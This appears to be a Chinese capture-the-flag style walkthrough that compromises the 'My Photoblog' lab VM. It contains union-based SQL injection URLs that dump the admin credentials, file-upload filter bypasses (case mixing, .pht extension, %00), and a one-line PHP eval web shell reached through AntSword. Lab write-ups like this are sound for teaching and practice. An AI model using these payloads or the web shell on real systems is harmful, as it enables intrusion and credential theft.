My Photoblog靶机渗透WP
一、环境说明
题目给了一个iso镜像文件，我们通过vmware安装以后，直接就进系统了
1.png
二、信息收集
1.获取靶机IP
既然我们已经可以进入靶机系统了，直接ifconfig查一下IP
2.png
通过nmap查一下开放的端口
$ nmap -A -p- 192.168.31.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 03:45 EDT
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 86.22% done; ETC: 03:45 (0:00:00 remaining)
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 03:45 (0:00:06 remaining)
Nmap scan report for 192.168.31.130
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
| ssh-hostkey:
| 1024 34:cd:b4:d4:a2:61:b3:95:c6:43:35:ab:fd:5b:6d:50 (DSA)
|_ 2048 2f:1c:23:88:7a:79:f2:35:1e:56:65:a7:0d:2f:1f:54 (RSA)
80/tcp open http Apache httpd 2.2.16 ((Debian))
|_http-title: My Photoblog - last picture
|_http-server-header: Apache/2.2.16 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.21 seconds
发现只开了22端口和80端口
三、漏洞发现阶段
1.html代码查看
3.png
发现两个信息，一个是cat.php?id=1，怀疑可以进行SQL注入；另一个是发现了上传的路径，怀疑可以进行上传php shell
2.SQL注入
2.1 判断是否存在注入
上述提到怀疑可以进行sql注入的url，我们先探探路，看下是否可以进行SQL注入，构造url如下：
http://192.168.31.130/cat.php?id=1 and 1=1#
页面可以正常显示
http://192.168.31.130/cat.php?id=1 and 1=2#
发现页面不能正常显示，说明参数id存在sql注入
2.2 判断列数
http://192.168.31.130/cat.php?id=1 order by 1
http://192.168.31.130/cat.php?id=1 order by 2
http://192.168.31.130/cat.php?id=1 order by n
发现n到5的时候报错，那么该表列数为4
2.3 联查查询获取数据库名称
首先判断显示的列位
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,2,3,4#
网页显示如图:
4.png
可以看到第二列为显示位，我们在2上做文章，首先查询数据库名：
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,database(),3,4#
5.png
可以得知数据库名为 photoblog
2.4 联合查询遍历表名
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables#
6.png
我们看到有一个users表，应该保存的是网站后台的账号密码
2.5 查询users列名
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name = 'users'#
7.png
2.6 查询users表数据
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,login,3,4 from users#
8.png
由此获得后台管理员用户名 admin
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,password,3,4 from users#
9.png
获得密码密文，长度32猜测为md5，拿去md5破解网站试试：
10.png
得到明文P4ssw0rd
我们拿到这些信息以后，就可以登录后台了
11.png
3.文件上传绕过
12.png
登录进入后台可以看到有一个上传图片的地方，我们开启burp然后直接上传php试试
13.png
可以看到对文件名进行了过滤，我们试试%00截断方法
14.png
可以上传，但是不能访问，再试试双写法，发现上传成功，但是无法访问
15.png
16.png
再试试大小写混淆法：
17.png
发现可以，我们访问试试看
18.png
上传和访问都成功，后面我又试了php另一个扩展名pht发现也是可以的
4.一句话木马及蚁剑连接
我们构造一句话木马并上传到shell.pht：
<?PHP @eval($_POST['cmd']);?>
然后上蚁剑连接：
19.png
20.png
完事
网友评论